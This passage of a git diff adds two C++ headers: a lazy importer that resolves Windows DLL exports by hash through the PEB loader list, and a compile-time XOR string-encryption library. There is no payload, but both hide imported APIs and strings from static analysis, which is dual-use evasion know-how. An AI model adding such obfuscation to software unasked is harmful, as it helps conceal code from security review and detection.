||||||
|
unsigned char MinorLinkerVersion;
|
||||||
|
unsigned long SizeOfCode;
|
||||||
|
unsigned long SizeOfInitializedData;
|
||||||
|
unsigned long SizeOfUninitializedData;
|
||||||
|
unsigned long AddressOfEntryPoint;
|
||||||
|
unsigned long BaseOfCode;
|
||||||
|
unsigned long BaseOfData;
|
||||||
|
unsigned long ImageBase;
|
||||||
|
unsigned long SectionAlignment;
|
||||||
|
unsigned long FileAlignment;
|
||||||
|
unsigned short MajorOperatingSystemVersion;
|
||||||
|
unsigned short MinorOperatingSystemVersion;
|
||||||
|
unsigned short MajorImageVersion;
|
||||||
|
unsigned short MinorImageVersion;
|
||||||
|
unsigned short MajorSubsystemVersion;
|
||||||
|
unsigned short MinorSubsystemVersion;
|
||||||
|
unsigned long Win32VersionValue;
|
||||||
|
unsigned long SizeOfImage;
|
||||||
|
unsigned long SizeOfHeaders;
|
||||||
|
unsigned long CheckSum;
|
||||||
|
unsigned short Subsystem;
|
||||||
|
unsigned short DllCharacteristics;
|
||||||
|
unsigned long SizeOfStackReserve;
|
||||||
|
unsigned long SizeOfStackCommit;
|
||||||
|
unsigned long SizeOfHeapReserve;
|
||||||
|
unsigned long SizeOfHeapCommit;
|
||||||
|
unsigned long LoaderFlags;
|
||||||
|
unsigned long NumberOfRvaAndSizes;
|
||||||
|
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_NT_HEADERS {
|
||||||
|
unsigned long Signature;
|
||||||
|
IMAGE_FILE_HEADER FileHeader;
|
||||||
|
#ifdef _WIN64
|
||||||
|
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||||
|
#else
|
||||||
|
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace win
|
||||||
|
|
||||||
|
struct forwarded_hashes {
|
||||||
|
unsigned module_hash;
|
||||||
|
unsigned function_hash;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 64 bit integer where 32 bits are used for the hash offset
|
||||||
|
// and remaining 32 bits are used for the hash computed using it
|
||||||
|
using offset_hash_pair = unsigned long long;
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return ( pair & 0xFFFFFFFF ); }
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>( pair >> 32 ); }
|
||||||
|
|
||||||
|
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
|
||||||
|
{
|
||||||
|
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 16777619;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
|
||||||
|
khash_impl(const char* str, unsigned value) noexcept
|
||||||
|
{
|
||||||
|
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
|
||||||
|
const char* str, unsigned offset) noexcept
|
||||||
|
{
|
||||||
|
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class CharT = char>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
|
||||||
|
{
|
||||||
|
unsigned value = offset;
|
||||||
|
|
||||||
|
for(;;) {
|
||||||
|
char c = *str++;
|
||||||
|
if(!c)
|
||||||
|
return value;
|
||||||
|
value = hash_single(value, c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE unsigned hash(
|
||||||
|
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
|
||||||
|
{
|
||||||
|
auto first = str.Buffer;
|
||||||
|
const auto last = first + (str.Length / sizeof(wchar_t));
|
||||||
|
auto value = offset;
|
||||||
|
for(; first != last; ++first)
|
||||||
|
value = hash_single(value, static_cast<char>(*first));
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded(
|
||||||
|
const char* str, unsigned offset) noexcept
|
||||||
|
{
|
||||||
|
forwarded_hashes res{ offset, offset };
|
||||||
|
|
||||||
|
for(; *str != '.'; ++str)
|
||||||
|
res.module_hash = hash_single<true>(res.module_hash, *str);
|
||||||
|
|
||||||
|
++str;
|
||||||
|
|
||||||
|
for(; *str; ++str)
|
||||||
|
res.function_hash = hash_single(res.function_hash, *str);
|
||||||
|
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
// some helper functions
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
|
||||||
|
{
|
||||||
|
#if defined(_M_X64) || defined(__amd64__)
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
|
||||||
|
#else
|
||||||
|
const win::PEB_T* ptr;
|
||||||
|
__asm__ __volatile__ ("mov %%gs:0x60, %0" : "=r"(ptr));
|
||||||
|
return ptr;
|
||||||
|
#endif
|
||||||
|
#elif defined(_M_IX86) || defined(__i386__)
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
return reinterpret_cast<const win::PEB_T*>(__readfsdword(0x30));
|
||||||
|
#else
|
||||||
|
const win::PEB_T* ptr;
|
||||||
|
__asm__ __volatile__ ("mov %%fs:0x30, %0" : "=r"(ptr));
|
||||||
|
return ptr;
|
||||||
|
#endif
|
||||||
|
#elif defined(_M_ARM) || defined(__arm__)
|
||||||
|
return *reinterpret_cast<const win::PEB_T**>(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||||
|
#elif defined(_M_ARM64) || defined(__aarch64__)
|
||||||
|
return *reinterpret_cast<const win::PEB_T**>(__getReg(18) + 0x60);
|
||||||
|
#elif defined(_M_IA64) || defined(__ia64__)
|
||||||
|
return *reinterpret_cast<const win::PEB_T**>(static_cast<char*>(_rdteb()) + 0x60);
|
||||||
|
#else
|
||||||
|
#error Unsupported platform. Open an issue and Ill probably add support.
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
|
||||||
|
const char* base) noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
|
||||||
|
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
|
||||||
|
const char* base) noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||||
|
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
|
||||||
|
ldr()->InLoadOrderModuleList.Flink);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct exports_directory {
|
||||||
|
unsigned long _ied_size;
|
||||||
|
const char* _base;
|
||||||
|
const win::IMAGE_EXPORT_DIRECTORY* _ied;
|
||||||
|
|
||||||
|
public:
|
||||||
|
using size_type = unsigned long;
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE
|
||||||
|
exports_directory(const char* base) noexcept : _base(base)
|
||||||
|
{
|
||||||
|
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
|
||||||
|
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||||
|
base + ied_data_dir.VirtualAddress);
|
||||||
|
_ied_size = ied_data_dir.Size;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const char*>(_ied) != _base;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
|
||||||
|
{
|
||||||
|
return _ied->NumberOfNames;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
|
||||||
|
{
|
||||||
|
return _ied;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
|
||||||
|
{
|
||||||
|
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
|
||||||
|
{
|
||||||
|
const auto* const rva_table =
|
||||||
|
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
|
||||||
|
|
||||||
|
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
|
||||||
|
_base + _ied->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
return _base + rva_table[ord_table[index]];
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
|
||||||
|
const char* export_address) const noexcept
|
||||||
|
{
|
||||||
|
const auto ui_ied = reinterpret_cast<const char*>(_ied);
|
||||||
|
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct safe_module_enumerator {
|
||||||
|
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
|
||||||
|
value_type* value;
|
||||||
|
value_type* head;
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
|
||||||
|
: safe_module_enumerator(ldr_data_entry())
|
||||||
|
{}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE
|
||||||
|
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
|
||||||
|
: value(ldr->load_order_next()), head(value)
|
||||||
|
{}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE void reset() noexcept
|
||||||
|
{
|
||||||
|
value = head->load_order_next();
|
||||||
|
}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||||
|
{
|
||||||
|
value = value->load_order_next();
|
||||||
|
|
||||||
|
return value != head && value->DllBase;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct unsafe_module_enumerator {
|
||||||
|
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
|
||||||
|
value_type value;
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
|
||||||
|
: value(ldr_data_entry())
|
||||||
|
{}
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||||
|
{
|
||||||
|
value = value->load_order_next();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// provides the cached functions which use Derive classes methods
|
||||||
|
template<class Derived, class DefaultType = void*>
|
||||||
|
class lazy_base {
|
||||||
|
protected:
|
||||||
|
// This function is needed because every templated function
|
||||||
|
// with different args has its own static buffer
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
|
||||||
|
{
|
||||||
|
static void* value = nullptr;
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
template<class T = DefaultType>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
|
||||||
|
{
|
||||||
|
return Derived::template get<T, safe_module_enumerator>();
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
|
||||||
|
{
|
||||||
|
auto& cached = _cache();
|
||||||
|
if(!cached)
|
||||||
|
cached = Derived::template get<void*, Enum>();
|
||||||
|
|
||||||
|
return (T)(cached);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class T = DefaultType>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
|
||||||
|
{
|
||||||
|
return cached<T, safe_module_enumerator>();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template<offset_hash_pair OHP>
|
||||||
|
struct lazy_module : lazy_base<lazy_module<OHP>> {
|
||||||
|
template<class T = void*, class Enum = unsafe_module_enumerator>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
|
||||||
|
{
|
||||||
|
Enum e;
|
||||||
|
do {
|
||||||
|
if(hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||||
|
return (T)(e.value->DllBase);
|
||||||
|
} while(e.next());
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class T = void*, class Ldr>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
|
||||||
|
{
|
||||||
|
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
|
||||||
|
do {
|
||||||
|
if(hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||||
|
return (T)(e.value->DllBase);
|
||||||
|
} while(e.next());
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class T = void*, class Ldr>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept
|
||||||
|
{
|
||||||
|
auto& cached = lazy_base<lazy_module<OHP>>::_cache();
|
||||||
|
if(!cached)
|
||||||
|
cached = in(ldr);
|
||||||
|
|
||||||
|
return (T)(cached);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template<offset_hash_pair OHP, class T>
|
||||||
|
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
|
||||||
|
using base_type = lazy_base<lazy_function<OHP, T>, T>;
|
||||||
|
|
||||||
|
template<class... Args>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
|
||||||
|
{
|
||||||
|
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
|
||||||
|
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||||
|
#else
|
||||||
|
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
|
||||||
|
{
|
||||||
|
// for backwards compatability.
|
||||||
|
// Before 2.0 it was only possible to resolve forwarded exports when
|
||||||
|
// this macro was enabled
|
||||||
|
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
|
||||||
|
return forwarded<F, Enum>();
|
||||||
|
#else
|
||||||
|
|
||||||
|
Enum e;
|
||||||
|
|
||||||
|
do {
|
||||||
|
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
|
||||||
|
if(!e.value->DllBase || !e.value->FullDllName.Length)
|
||||||
|
continue;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
const exports_directory exports(e.value->DllBase);
|
||||||
|
|
||||||
|
if(exports) {
|
||||||
|
auto export_index = exports.size();
|
||||||
|
while(export_index--)
|
||||||
|
if(hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
|
||||||
|
return (F)(exports.address(export_index));
|
||||||
|
}
|
||||||
|
} while(e.next());
|
||||||
|
return {};
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept
|
||||||
|
{
|
||||||
|
detail::win::UNICODE_STRING_T name;
|
||||||
|
forwarded_hashes hashes{ 0, get_hash(OHP) };
|
||||||
|
|
||||||
|
Enum e;
|
||||||
|
do {
|
||||||
|
name = e.value->BaseDllName;
|
||||||
|
name.Length -= 8; // get rid of .dll extension
|
||||||
|
|
||||||
|
if(!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) {
|
||||||
|
const exports_directory exports(e.value->DllBase);
|
||||||
|
|
||||||
|
if(exports) {
|
||||||
|
auto export_index = exports.size();
|
||||||
|
while(export_index--)
|
||||||
|
if(hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) {
|
||||||
|
const auto addr = exports.address(export_index);
|
||||||
|
|
||||||
|
if(exports.is_forwarded(addr)) {
|
||||||
|
hashes = hash_forwarded(
|
||||||
|
reinterpret_cast<const char*>(addr),
|
||||||
|
get_offset(OHP));
|
||||||
|
|
||||||
|
e.reset();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return (F)(addr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} while(e.next());
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept
|
||||||
|
{
|
||||||
|
return forwarded<F, safe_module_enumerator>();
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept
|
||||||
|
{
|
||||||
|
auto& value = base_type::_cache();
|
||||||
|
if(!value)
|
||||||
|
value = forwarded<void*, Enum>();
|
||||||
|
return (F)(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept
|
||||||
|
{
|
||||||
|
return forwarded_cached<F, safe_module_enumerator>();
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, bool IsSafe = false, class Module>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept
|
||||||
|
{
|
||||||
|
if(IsSafe && !m)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
const exports_directory exports((const char*)(m));
|
||||||
|
if(IsSafe && !exports)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
for(unsigned long i{};; ++i) {
|
||||||
|
if(IsSafe && i == exports.size())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if(hash(exports.name(i), get_offset(OHP)) == get_hash(OHP))
|
||||||
|
return (F)(exports.address(i));
|
||||||
|
}
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, class Module>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept
|
||||||
|
{
|
||||||
|
return in<F, true>(m);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, bool IsSafe = false, class Module>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept
|
||||||
|
{
|
||||||
|
auto& value = base_type::_cache();
|
||||||
|
if(!value)
|
||||||
|
value = in<void*, IsSafe>(m);
|
||||||
|
return (F)(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T, class Module>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept
|
||||||
|
{
|
||||||
|
return in_cached<F, true>(m);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F nt() noexcept
|
||||||
|
{
|
||||||
|
return in<F>(ldr_data_entry()->load_order_next()->DllBase);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept
|
||||||
|
{
|
||||||
|
return in_safe<F>(ldr_data_entry()->load_order_next()->DllBase);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept
|
||||||
|
{
|
||||||
|
return in_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<class F = T>
|
||||||
|
LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept
|
||||||
|
{
|
||||||
|
return in_safe_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
}} // namespace li::detail
|
||||||
|
|
||||||
|
#endif // include guard
|
||||||
242
Utils/pimraryXor.h
Normal file
242
Utils/pimraryXor.h
Normal file
@@ -0,0 +1,242 @@
|
|||||||
|
/*
|
||||||
|
* Copyright 2017 - 2021 Justas Masiulis
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef JM_XORSTR_HPP
|
||||||
|
#define JM_XORSTR_HPP
|
||||||
|
|
||||||
|
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
|
||||||
|
#include <arm_neon.h>
|
||||||
|
#elif defined(_M_X64) || defined(__amd64__) || defined(_M_IX86) || defined(__i386__)
|
||||||
|
#include <immintrin.h>
|
||||||
|
#else
|
||||||
|
#error Unsupported platform
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstddef>
|
||||||
|
#include <utility>
|
||||||
|
#include <type_traits>
|
||||||
|
|
||||||
|
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
|
||||||
|
#define xorstr_(str) xorstr(str).crypt_get()
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define XORSTR_FORCEINLINE __forceinline
|
||||||
|
#else
|
||||||
|
#define XORSTR_FORCEINLINE __attribute__((always_inline)) inline
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace jm {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
template<std::size_t Size>
|
||||||
|
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
|
||||||
|
{
|
||||||
|
return ((Size / 16) + (Size % 16 != 0)) * 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<std::uint32_t Seed>
|
||||||
|
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
|
||||||
|
{
|
||||||
|
std::uint32_t value = Seed;
|
||||||
|
for (char c : __TIME__)
|
||||||
|
value = static_cast<std::uint32_t>((value ^ c) * 16777619ull);
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<std::size_t S>
|
||||||
|
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
|
||||||
|
{
|
||||||
|
constexpr auto first_part = key4<2166136261 + S>();
|
||||||
|
constexpr auto second_part = key4<first_part>();
|
||||||
|
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
|
||||||
|
}
|
||||||
|
|
||||||
|
// loads up to 8 characters of string into uint64 and xors it with the key
|
||||||
|
template<std::size_t N, class CharT>
|
||||||
|
XORSTR_FORCEINLINE constexpr std::uint64_t
|
||||||
|
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
|
||||||
|
{
|
||||||
|
using cast_type = typename std::make_unsigned<CharT>::type;
|
||||||
|
constexpr auto value_size = sizeof(CharT);
|
||||||
|
constexpr auto idx_offset = 8 / value_size;
|
||||||
|
|
||||||
|
std::uint64_t value = key;
|
||||||
|
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
|
||||||
|
value ^=
|
||||||
|
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
|
||||||
|
<< ((i % idx_offset) * 8 * value_size));
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
// forces compiler to use registers instead of stuffing constants in rdata
|
||||||
|
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
|
||||||
|
{
|
||||||
|
#if defined(__clang__) || defined(__GNUC__)
|
||||||
|
asm("" : "=r"(value) : "0"(value) : );
|
||||||
|
return value;
|
||||||
|
#else
|
||||||
|
volatile std::uint64_t reg = value;
|
||||||
|
return reg;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
template<class CharT, std::size_t Size, class Keys, class Indices>
|
||||||
|
class xor_string;
|
||||||
|
|
||||||
|
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
|
||||||
|
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
|
||||||
|
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
|
||||||
|
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
|
||||||
|
#else
|
||||||
|
constexpr static inline std::uint64_t alignment = 16;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
|
||||||
|
|
||||||
|
public:
|
||||||
|
using value_type = CharT;
|
||||||
|
using size_type = std::size_t;
|
||||||
|
using pointer = CharT*;
|
||||||
|
using const_pointer = const CharT*;
|
||||||
|
|
||||||
|
template<class L>
|
||||||
|
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
|
||||||
|
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
|
||||||
|
{}
|
||||||
|
|
||||||
|
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
|
||||||
|
{
|
||||||
|
return Size - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
XORSTR_FORCEINLINE void crypt() noexcept
|
||||||
|
{
|
||||||
|
// everything is inlined by hand because a certain compiler with a certain linker is _very_ slow
|
||||||
|
#if defined(__clang__)
|
||||||
|
alignas(alignment)
|
||||||
|
std::uint64_t arr[]{ ::jm::detail::load_from_reg(Keys)... };
|
||||||
|
std::uint64_t* keys =
|
||||||
|
(std::uint64_t*)::jm::detail::load_from_reg((std::uint64_t)arr);
|
||||||
|
#else
|
||||||
|
alignas(alignment) std::uint64_t keys[]{ ::jm::detail::load_from_reg(Keys)... };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
|
||||||
|
#if defined(__clang__)
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : __builtin_neon_vst1q_v(
|
||||||
|
reinterpret_cast<uint64_t*>(_storage) + Indices * 2,
|
||||||
|
veorq_u64(__builtin_neon_vld1q_v(reinterpret_cast<const uint64_t*>(_storage) + Indices * 2, 51),
|
||||||
|
__builtin_neon_vld1q_v(reinterpret_cast<const uint64_t*>(keys) + Indices * 2, 51)),
|
||||||
|
51)), ...);
|
||||||
|
#else // GCC, MSVC
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : vst1q_u64(
|
||||||
|
reinterpret_cast<uint64_t*>(_storage) + Indices * 2,
|
||||||
|
veorq_u64(vld1q_u64(reinterpret_cast<const uint64_t*>(_storage) + Indices * 2),
|
||||||
|
vld1q_u64(reinterpret_cast<const uint64_t*>(keys) + Indices * 2)))), ...);
|
||||||
|
#endif
|
||||||
|
#elif !defined(JM_XORSTR_DISABLE_AVX_INTRINSICS)
|
||||||
|
((Indices >= sizeof(_storage) / 32 ? static_cast<void>(0) : _mm256_store_si256(
|
||||||
|
reinterpret_cast<__m256i*>(_storage) + Indices,
|
||||||
|
_mm256_xor_si256(
|
||||||
|
_mm256_load_si256(reinterpret_cast<const __m256i*>(_storage) + Indices),
|
||||||
|
_mm256_load_si256(reinterpret_cast<const __m256i*>(keys) + Indices)))), ...);
|
||||||
|
|
||||||
|
if constexpr (sizeof(_storage) % 32 != 0)
|
||||||
|
_mm_store_si128(
|
||||||
|
reinterpret_cast<__m128i*>(_storage + sizeof...(Keys) - 2),
|
||||||
|
